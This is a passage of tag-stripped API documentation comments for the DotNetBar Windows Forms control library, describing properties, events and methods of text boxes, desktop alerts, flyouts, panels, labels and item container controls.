displayed on popup that is shown when drop-down button is clicked. + + + + + Gets the collection of BaseItem derived items displayed on popup menu. + + + + + Gets the reference to internal TextBox control. Use it to get access to the text box events and properties. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets the watermark image displayed inside of the control when Text is not set and control does not have input focus. + + + + + Gets or sets the watermark image alignment. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Gets or sets the text as it is currently displayed to the user. + + + + + Gets the preferred height for a text box. + + + + + Gets or sets a custom StringCollection to use when the AutoCompleteSource property is set to CustomSource. + A StringCollection to use with AutoCompleteSource. + + + + + Gets or sets an option that controls how automatic completion works for the TextBox. + One of the values of AutoCompleteMode. The values are Append, None, Suggest, and SuggestAppend. The default is None. + + + + + Gets or sets a value specifying the source of complete strings used for automatic completion. + One of the values of AutoCompleteSource. The options are AllSystemSources, AllUrl, FileSystem, HistoryList, RecentlyUsedList, CustomSource, and None. The default is None. + + + + + Gets or sets whether the TextBox control modifies the case of characters as they are typed. + One of the CharacterCasing enumeration values that specifies whether the TextBox control modifies the case of characters. The default is CharacterCasing.Normal. + + + + + Gets or sets the character used to mask characters of a password in a single-line TextBox control. + The character used to mask characters entered in a single-line TextBox control. Set the value of this property to 0 (character value) if you do not want the control to mask characters as they are typed. Equals 0 (character value) by default. + + + + + Gets or sets how text is aligned in a TextBox control. + One of the HorizontalAlignment enumeration values that specifies how text is aligned in the control. The default is HorizontalAlignment.Left. + + + + + Gets or sets a value indicating whether the text in the TextBox control should appear as the default password character. + true if the text in the TextBox control should appear as the default password character; otherwise, false. + + + + + Gets or sets a value indicating whether the selected text in the text box control remains highlighted when the control loses focus. + true if the selected text does not appear highlighted when the text box control loses focus; false, if the selected text remains highlighted when the text box control loses focus. The default is true. + + + + + Gets or sets the maximum number of characters the user can type or paste into the text box control. + The number of characters that can be entered into the control. The default is 32767. + + + + + Gets or sets a value that indicates that the text box control has been modified by the user since the control was created or its contents were last set. + true if the control's contents have been modified; otherwise, false. The default is false. + + + + + Gets or sets a value indicating whether text in the text box is read-only. + true if the text box is read-only; otherwise, false. The default is false. + + + + + Gets or sets a value indicating the currently selected text in the control. + A string that represents the currently selected text in the text box. + + + + + Gets or sets the number of characters selected in the text box. + The number of characters selected in the text box. + + + + + Gets or sets the starting point of text selected in the text box. + The starting position of text selected in the text box. + + + + + Gets the length of text in the control.Returns number of characters contained in the text of the control. + + + + + Handles OnTextChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + Displays the desktop alerts with optional image or symbol. Text on alerts supports text-markup. + + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Text-markup link click event handler. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Specifies alert color. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Specifies alert color. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Shows desktop alert at specific screen position. + + Text to show on the alert. Text supports text-markup. + Alert position on the screen. + + + + Shows desktop alert at specific screen position. + + Text to show on the alert. Text supports text-markup. + Alert position on the screen. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Shows desktop alert at specific screen position. + + Text to show on the alert. Text supports text-markup. + Image to display on alert. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Alert color. + Alert position on the screen. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Alert color + Alert position on the screen + Text-markup link click event handler. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Alert color + Alert position on the screen + Text-markup link click event handler. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Alert color + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Symbol to show on the alert, see http://www.devcomponents.com/kb2/?p=1347 + Symbol set to use + Symbol color or Color.Empty to use default text color + Alert color + Alert position on the screen + Duration of alert in the seconds. + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Symbol to show on the alert, see http://www.devcomponents.com/kb2/?p=1347 + Symbol set to use + Symbol color or Color.Empty to use default text color + Alert position on the screen + Alert color + Duration of alert in the seconds. + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + Text-markup link click event handler. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Symbol to show on the alert, see http://www.devcomponents.com/kb2/?p=1347 + Symbol set to use + Symbol color or Color.Empty to use default text color + Alert position on the screen + Alert color + Duration of alert in the seconds. + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + Text-markup link click event handler. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Image to display on the alert + Alert screen position + Alert color + Duration of alert in seconds + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Image to display on the alert + Alert screen position + Alert color + Duration of alert in seconds + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + Text-markup link click event handler. + + + + Shows desktop alert. + + Text to show on the alert. Text supports text-markup. + Image to display on the alert + Alert screen position + Alert color + Duration of alert in seconds + Alert ID used to recognize alert if clicked and specified Action is called + Action method to call if alert is clicked. + Text-markup link click event handler. + Specifies reference control which is used to find target screen alert is displayed on. + + + + Raises BeforeAlertDisplayed event. + + Provides event arguments. + + + + Indicates maximum alert size. + + + + + Specifies default alert screen position. + + + + + Specifies default alert color. + + + + + Gets or sets the total time in milliseconds alert animation takes. + Default value is 200. + + + + + Gets or sets time period in seconds after alert closes automatically. + + + + + Gets or sets whether text-markup can be used in alert text, default value is true. + + + + + Indicates whether alert plays exclamation sound when shown. + + + + + Occurs before alert is displayed and allows access to the alert Window through sender. + + + + + Defines predefined desktop alert colors. + + + + + Sets alert size based on its content, it respects MinimumSize and MaximumSize property settings. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Called when TextMarkupEnabled property has changed. + + Old property value + New property value + + + + Occurs when text markup link is clicked. + + + + + Raises MarkupLinkClick event. + + Provides event arguments. + + + + Display balloon. + + Indicates whether alert receives input focus upon showing. + + + + Displays balloon. + + + + + Called when alert needs to be hidden. + + + + + Hides balloon. + + + + + Gets or sets the color of the Symbol. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Indicates image displayed on alert. + + + + + Indicates optional Alert Id. + + + + + Indicates the method that will be invoked if user clicks the alert. + + + + + Gets or sets whether text-markup can be used in Text property. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets the default alert size. + + + + + Gets or sets the total time in milliseconds alert animation takes. + Default value is 200. + + + + + Gets or sets whether balloon will close automatically when user click the close button. + + + + + Gets or sets time period in seconds after alert closes automatically. + + + + + Specifies the reference control which is used to find which screen the alert is displayed on. If not specified alert is displayed on primary screen. + + + + + Indicates spacing between alerts on the screen + + + + + Indicates the request screen position for the alert + + + + + Indicates spacing in pixels between image and text + + + + + Indicates whether alert plays exclamation sound when shown. + + + + + Indicates whether close button on alert is visible + + + + + Defines the alert positions. + + + + + Top-left screen position. + + + + + Top-right screen position. + + + + + Bottom-right screen position. + + + + + Bottom left screen position. + + + + + Component to display flyout popup. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Called when Content property has changed. + + Old property value + New property value + + + + Called when PointerSide property has changed. + + Old property value + New property value + + + + Called when TargetControl property has changed. + + Old property value + New property value + + + + Called when DeepControlIntegration property has changed. + + Old property value + New property value + + + + Called when DisplayMode property has changed. + + Old property value + New property value + + + + Called when CloseMode property has changed. + + Old property value + New property value + + + + Raises PrepareContent event. + + Provides event arguments. + + + + Shows flyout with the Content. + + + + + Returns the flyout size based on Content size. + + Proposed flyout size. + + + + Shows flyout at specified location and with specified size. Size can be empty (0,0) and flyout will be automatically sized based on the content. + + + + + + Raises FlyoutShowing event. + + Provides event arguments. + + + + Raises FlyoutShown event. + + Provides event arguments. + + + + Raises QueryShowFlyout event. + + Provides event arguments. + + + + Shows flyout at specified location and with specified size. Size can be empty (0,0) and flyout will be automatically sized based on the content. + + Screen bounds to display flyout at. + Side of the flyout which will have pointer triangle + Pointer position either x or y depending on which side pointer is displayed on. + Target item for the flyout. + + + + Raises FlyoutClosing event. + + Provides event arguments. + + + + Raises FlyoutClosed event. + + Provides event arguments. + + + + Closes the flyout form if it was open. + + + + + Called when ActivateOnShow property has changed. + + Old property value + New property value + + + + Called when TopMost property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when DropShadow property has changed. + + Old property value + New property value + + + + Called when Parent property has changed. + + Old property value + New property value + + + + Indicates a control, usually panel with other controls inside of it, that is displayed on the flyout popup. + + + + + Indicates the side of the flyout triangle pointer is displayed on. + + + + + Indicates the target control for the flyout display and positioning. + + + + + Indicates whether Flyout integrates on item level with DotNetBar controls it recognizes like SuperTabControl, AdvTree etc. + + + + + Specifies when the flyout is displayed. + + + + + Indicates when Flyout is automatically closed. + + + + + Occurs before the flyout is shown for specific target and allows you to prepare Content for it. Sender of event will be the targeted control or item. + + + + + Occurs after flyout has been shown. + + + + + Provides opportunity to cancel showing of the flyout before any objects are created and allocated. This is preferred event to cancel flyout showing. + + + + + Occurs before flyout is closed and allows you to cancel the closing. + + + + + Occurs after flyout is closed. + + + + + Indicates whether flyout is active/focused when its shown, default value is false. + + + + + Indicates whether flyout is made top-most window when shown + + + + + Gets or sets the background flyout color. Default value is Color.Empty which indicates that current color scheme will be used. + + + + + Gets or sets the flyout border color. Default value of Color.Empty indicates that color scheme will be used. + + + + + Indicates whether flyout displays drop shadow. + + + + + Gets or sets the parent control for the Flyout. Parent is used to find the parent form so flyout can be closed when form is de-activated. + + + + + Defines delegate for the FlyoutShowing event. + + + + + + + Gets the reference to the flyout form. + + + + + Gets the reference to the flyout target usually TargetControl. + + + + + Allows you to cancel showing of the flyout by setting this value to true. + + + + + Initializes a new instance of the FlyoutShowingEventArgs class. + + + + + + + Defines the modes for Flyout display. + + + + + Flyout is displayed manually using flyout.Show() method. + + + + + Flyout is displayed when mouse is over TargetControl. + + + + + Flyout is displayed when mouse is hovering over TargetControl. + + + + + Flyout is displayed when left mouse button is clicked on TargetControl. + + + + + Defines Flyout closing condition. + + + + + Flyout is closed manually using flyout.Close() method. + + + + + Flyout is closed when user clicks outside of flyout bounds. + + + + + Flyout is closed when TargetControl is hidden. + + + + + Flyout is closed when TargetControl loses focus. + + + + + Flyout is closed when parent forms deactivates. + + + + + Defines colors for the Flyout control. + + + + + Specifies Flyout background color. + + + + + Specifies Flyout border color. + + + + + Called when PointerOffset property has changed. + + Old property value + New property value + + + + Called when PointerSide property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Indicates whether flyout displays a drop shadow. + + + + + Gets or sets whether form is made active/focused when shown. + + + + + Gets or sets the pointer offset from the top-left corner + + + + + Gets or sets the side pointer triangle is displayed on. + + + + + Gets or sets the flyout border color. Default value of Color.Empty indicates that color scheme will be used. + + + + + Defines the side of triangle pointer displayed on flyout popup. + + + + + Represents graphical panel control with support for different visual styles and gradients. + + + + + Default constructor. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Applies any region related settings from style to control. + + + + + Applies color scheme colors to the style objects. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the current style of the control. + + Instance of ElementStyle object. + + + + Returns the current mouse down style of the control. + + Instance of ElementStyle object. + + + + Returns the current mouse over style of the control. + + Instance of ElementStyle object. + + + + Paints panel using Windows themes. + + Paint event arguments + + + + Prepares paint surface for paint operation. Called as first thing in Paint event. + + + + + + Paints panel given current style. + + Paint event arguments + + + + Paints insides of the control. + + Paint event arguments. + + + + Indicates whether CanvasColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CanvasColor to it's default value. Used by windows forms designer design-time support. + + + + + Resets the style to it's default value. + + + + + Resets the internal mouse tracking properties that track whether mouse is over the panel and whether is mouse pressed while over the panel. + + + + + Resets the style to it's default value. + + + + + Resets the style to it's default value. + + + + + Called after either ColorScheme or ColorSchemeStyle has changed. If you override make sure that you call base implementation so default + processing can occur. + + + + + Applies predefined Panel color scheme to the control. + + + + + Applies predefined Panel color scheme to the control. + + + + + Applies predefined Button color scheme to the control. + + + + + Applies predefined Label color scheme to the control. + + + + + Applies predefined lable style to the ElementStyle object. + + Reference to ElementStyle object. + + + + Notifies a control that it is the default button so that its appearance and behavior is adjusted accordingly. + + true if the control should behave as a default button; otherwise false. + + + + Generates a Click event for the control. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets Bar Color Scheme. + + + + + Gets or sets whether focus rectangle is displayed when control has focus. + + + + + Gets or sets the canvas color for the panel. Canvas color will be visible on areas of the control that do not get covered + by the style and it will also be used as a base color for style to be painted on. + + + + + Gets or sets the panel style. + + + + + Gets or sets the panel style when mouse hovers over the panel. + + + + + Gets or sets the panel style when mouse button is pressed on the panel. + + + + + Gets or sets whether anti-alias smoothing is used while painting. + + + + + Gets or sets color scheme style. + + + + + Gets or sets whether text rectangle painted on panel is considering docked controls inside the panel. + + + + + Gets or sets the text rectangle. This property is set by internal implementation and it should not be set by outside code. + + + + + Gets or sets whether painting of the control is suspended. + + + + + Gets or sets the value returned to the parent form when the button is clicked. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Calls base WndProc implementation + + Describes Windows Message + + + + Gets the ItemPaintArgs which provide information for rendering. + + Reference to Canvas + Returns the new ItemPaintArgs instance + + + + Paints the background of the control + + PaintEventArgs arguments + + + + Converts the client point into the screen point. + + Client point + Client point converted into screen coordinates. + + + + Adjusts the client rectangle for the control. + + Reference to new client rectangle. + + + + Adjusts the border rectangle before the non-client border is rendered. + + Border rectangle + + + + Occurs after non-client area is rendered and provides opportunity to render on top of it. + + Reference to Graphics object. + + + + Gets the reference to the BorderStyle used by the control if any. + + + + + Returns the Windows handle associated with the control. + + + + + Returns width of the control. + + + + + Returns the height of the control. + + + + + Returns whether handled for the control has been created. + + + + + Returns background color of the control. + + + + + Returns background color of the control when Enabled=false. + + + + + Returns whether control is enabled. + + + + + Invalidates non-client area of the control. + + + + + Paints insides of the control. + + Paint event arguments. + + + + Returns the size of the panel calculated based on the text assigned. + + Calculated size of the panel or Size.Empty if panel size cannot be calculated. + + + + Applies color scheme to the panel. + + + + + Applies default group panel style to the control. + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Gets or sets the panel color scheme. + + + + + Gets or sets the image that appears in title with text. + + + + + Gets or sets the position of the title image. Default value is left. + + + + + Gets or sets the scrollbar skining type when control is using Office 2007 style. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether box around the title of the group is drawn. Default value is true. + + + + + Gets or sets whether text rectangle painted on panel is considering docked controls inside the panel. + + + + + Gets or sets whether panel automatically provides shadows for child controls. Default value is false. + + + + + Specifies back color when Enabled=false + + + + + Defines predefined color schemes for panel control. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets whether custom styling (Office 2007 style) is enabled. Default value is true. + + + + + Recalculates the size of the internal item. + + + + + Gets whether property should be serialized. + + + + + Resets the SingleLineColor property to its default value. + + + + + Invokes the MarkupLinkClick event. + + Provides additional data about event. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Command property value changes. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Specifies spacing between label image and text. + + + + + Gets or sets whether text-markup support is enabled for controls Text property. Default value is true. + Set this property to false to display HTML or other markup in the control instead of it being parsed as text-markup. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the border sides that are displayed. Default value specifies border on all 4 sides. + + + + + Gets or sets the type of the border drawn around the label. + + + + + Specifies label image. + + + + + Gets/Sets the image position inside the label. + + + + + Gets or sets the border line color when border is single line. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the horizontal text alignment. + + + + + Gets or sets the text vertical alignment. + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Gets or sets the left padding in pixels. + + + + + Gets or sets the right padding in pixels. + + + + + Gets or sets the top padding in pixels. + + + + + Gets or sets the bottom padding in pixels. + + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets text-orientation. Default is horizontal. + + + + + Gets or sets how vertical text is rotated when TextOrientation = Vertical. + + + + + Gets the underlying LabelItem + + + + + Indicates the symbol displayed on label instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the color of the symbol. + + + + + Indicates whether label text is rendered using bold font unless the Font property is specifically set to different font. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + A single horizontal or vertical line control. + + + + + Initializes a new instance of the Line class. + + + + + Called when StartLineCap property has changed. + + Old property value + New property value + + + + Called when StartLineCapSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when EndLineCap property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Specifies the line alignment within control bounds. + + + + + Specifies distance from the start of a line to the beginning of a dash pattern. + + + + + Specifies the line dash style. + + + + + Gets or sets the line thickness in pixels. + + + + + Gets or sets whether vertical line is drawn. Default value is false which means horizontal line is drawn. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Indicates the start of the line cap. + + + + + Indicates the size of the start cap. + + + + + Indicates the start of the line cap. + + + + + Indicates end line cap size. + + + + + Defined line end types. + + + + + Provides data for CheckStateConvert event. + + + + + Initializes a new instance of the CheckStateConvertEventArgs class. + + + + + + Represents generic base control for items container control. + + + + + Represents base control for bars. + + + + + Provides interface for controls that support ribbon customization. + + + + + Called when item contained by the container is right-clicked. + + Instance of the item that was right-clicked. + + + + Creates new accessibility instance. + + Reference to AccessibleObject. + + + + Notifies the accessibility client applications of the specified AccessibleEvents for the specified child control. + + The AccessibleEvents object to notify the accessibility client applications of. + The child Control to notify of the accessible event. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Invokes the DotNetBar Customize dialog. + + + + + Raises BeforeItemDrag event. + + Provides event arguments. + + + + + Called when DragInProgress property value has changed. + + + + + Releases the focus from the bar and selects the control that had focus before bar was selected. If control that had focus could not be determined focus will stay on the bar. + This method is used by internal DotNetBar implementation and you should not use it. + + + + + Invokes ItemDoubleClick event. + + Reference to item double-clicked + Event arguments + + + + Invokes the ItemClick event. + + Reference to the item that was clicked. + + + + Returns the item at specified coordinates or null if no item can be found. + + X - coordinate to test. + Y - coordinate to test. + + + + + Sets the height of the control to the automatically calcualted height based on content. + + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Returns automatically calculated width of the control given current content. + + Width in pixels. + + + + Clean up any resources being used. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Applies design-time defaults to control. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Indicates to control that all further update operations should not result in layout and refresh of control content. + Use this method to optimize the addition of new items to the control. This method supports nested calls meaning + that multiple calls are allowed but they must be ended with appropriate number of EndUpdate calls. + IsUpdateSuspended property returns whether update is suspended. + + + + + Indicates that update operation is complete and that control should perform layout and refresh to show changes. See BeginUpdate + for more details. + + + + + Indicates that update operation is complete and that control should perform layout and refresh to show changes. See BeginUpdate + for more details. + + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Invalidates the control layout and forces the control to recalculates the layout for the items it contains on next layout operation invoked using RecalcLayout method. + + + Call to this method is usually followed by the call to + RecalcLayout method to perform the control layout. + + + + + Applies any layout changes and repaint the control. + + + + + Sets up timer that watches when active window changes. + + + + + Called after change of active window has been detected. SetupActiveWindowTimer must be called to enable detection. + + + + + Releases and disposes the active window watcher timer. + + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Occurs when Checked property of an button has changed. + + + + + Occurs when Item is clicked. + + + + + Occurs when Item is clicked. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when user changes the item position, removes the item, adds new item or creates new bar. + + + + + Occurs after an Item is removed from SubItemsCollection. + + + + + Occurs after an Item has been added to the SubItemsCollection. + + + + + Occurs when ControlContainerControl is created and contained control is needed. + + + + + Occurs when Text property of an Item has changed. + + + + + Use this event if you want to serialize the hosted control state directly into the DotNetBar definition file. + + + + + Use this event if you want to deserialize the hosted control state directly from the DotNetBar definition file. + + + + + Occurs after DotNetBar definition is loaded. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Occurs before tooltip for an item is shown. Sender could be the BaseItem or derived class for which tooltip is being displayed or it could be a ToolTip object itself it tooltip is not displayed for any item in particular. + + + + + Gets or sets the form SideBar is attached to. + + + + + Gets or sets whether accelerator letters on buttons are underlined. Default value is false which indicates that system setting is used + to determine whether accelerator letters are underlined. Setting this property to true + will always display accelerator letter underlined. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + Occurs before an item drag & drop operation is started and allows cancellation. + + + + + + + Gets item that is being dragged. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Gets or sets whether hooks are used for internal DotNetBar system functionality. Using hooks is recommended only if DotNetBar is used in hybrid environments like Visual Studio designers or IE. + + + + + Gets whether control is in menu mode. + + + + + Returns the reference to the control that last had input focus. This property should be used to + determine which control had input focus before bar gained the focus. Use it to apply + the menu command to active control. + + + + + Returns whether control has any popups registered. + + + + + Gets or sets whether internal WM_GESTURENOTIFY handler is enabled. Default value is false. + + + + + Gets or sets whether ProcessDialogKey method calls base ContainerControl implementation. + By default base implementation is called but under certain conditions you might want to set + this property to true to receive KeyDown events for Arrow keys. + + + + + Gets or sets whether shortuct processing for the items hosted by this control is enabled. Default value is true. + + + + + Gets or sets the item default accessibility action will be performed on. + + + + + Gets or sets whether control height is set automatically based on the content. Default value is false. + + + + + Specifies the background style of the control. + + + + + Indicates whether shortucts handled by items are dispatched to the next handler or control. + + + + + Gets or sets Bar Color Scheme. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Specifies whether SideBar is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether Key Tips (accelerator keys) for items are displayed on top of them. + + + + + Gets or sets the font that is used to display Key Tips (accelerator keys) when they are displayed. Default value is null which means + that control Font is used for Key Tips display. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets whether mouse over fade effect is enabled. Default value is true. + + + + + Gets whether control layout is suspended becouse of the call to BeginUpdate method. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Gets/Sets the Image size for all sub-items on the Bar. + + + + + Gets or sets whether external ButtonItem object is accepted in drag and drop operation. UseNativeDragDrop must be set to true in order for this property to be effective. + + + + + Gets or sets whether native .NET Drag and Drop is used by control to perform drag and drop operations. AllowDrop must be set to true to allow drop of the items on control. + + + + + Gets or sets whether control supports drag & drop. Default value is false. + + + + + Represents the method that will handle the ItemRemoved event. + + + + + Defines notification interface for scrollable item controls. + + + + + Indicates that item has been selected via keyboard. + + Reference to item being selected + + + + Gets or sets whether selection is allowed. + + + + + Gets or sets the selected item index. + + + + + Gets or sets the BindingContext. + + + + + Invalidates non-client area of the control. This method should be used + when you need to invalidate non-client area of the control. + + + + + Scrolls the control so that item is displayed within the visible bounds of the control. AutoScroll must be set to true for this method to work. + + Item to ensure visibility for. Item must belong to this control. + + + + Indicates that item has been selected via keyboard. + + Reference to item being selected + + + + Called when an item should be selected as result of the keyboard action. + + Item that is being selected. + + + + Raises the DataSourceChanged event. + + An EventArgs that contains the event data. + + + + When overridden in a derived class, resynchronizes the item data with the contents of the data source. + + + + + Raises the DataNodeCreated event. + + Provides event arguments. + + + + Raises the SelectedIndexChanged event. + + Event arguments. + + + + Called when TouchEnabled property has changed. + + Old property value + New property value + + + + Indicates whether container responds to keyboard presses and changes the active/mouse over item. + + + + + Gets or sets the scroll-bar visual style. + + + + + Gets/Sets the visual style for items and color scheme. + + + + + Gets or sets spacing in pixels between items. Default value is 1. + + + + + Indicates whether control can be scrolled when client area is dragged using mouse. Default value is true. + + + + + Gets the reference to internal vertical scroll-bar control if one is created or null if no scrollbar is visible. + + + + + Gets the reference to internal horizontal scroll-bar control if one is created or null if no scrollbar is visible. + + + + + Gets or sets a value indicating whether the control enables the user to scroll to items placed outside of its visible boundaries. + + + + + Gets or sets the minimum size of the auto-scroll. Returns a Size that represents the minimum height and width of the scrolling area in pixels. + This property is managed internally by control and should not be modified. + + + + + Gets or sets the location of the auto-scroll position. + + + + + Gets or sets whether all painting in control is suspended. + + + + + Gets or sets the index specifying the currently selected item. + + + + + Returns collection of items on a bar for binding support. + + + + + Gets or sets the item template that is repeated for each data-row when using data binding. + + + + + Gets the collection of the binding applied to ItemTemplate visual when using data-binding. + + + + + Gets or sets whether external ButtonItem object is accepted in drag and drop operation. UseNativeDragDrop must be set to true in order for this property to be effective. + + + + + Gets or sets whether native .NET Drag and Drop is used by control to perform drag and drop operations. AllowDrop must be set to true to allow drop of the items on control. + + + + + Gets or sets whether automatic drag & drop support is enabled. Default value is false. + + + + + Gets or sets the data source for the ComboTree. Expected is an object that implements the IList or IListSource interfaces, + such as a DataSet or an Array. The default is null. + + + + + Occurs when the DataSource changes. + + 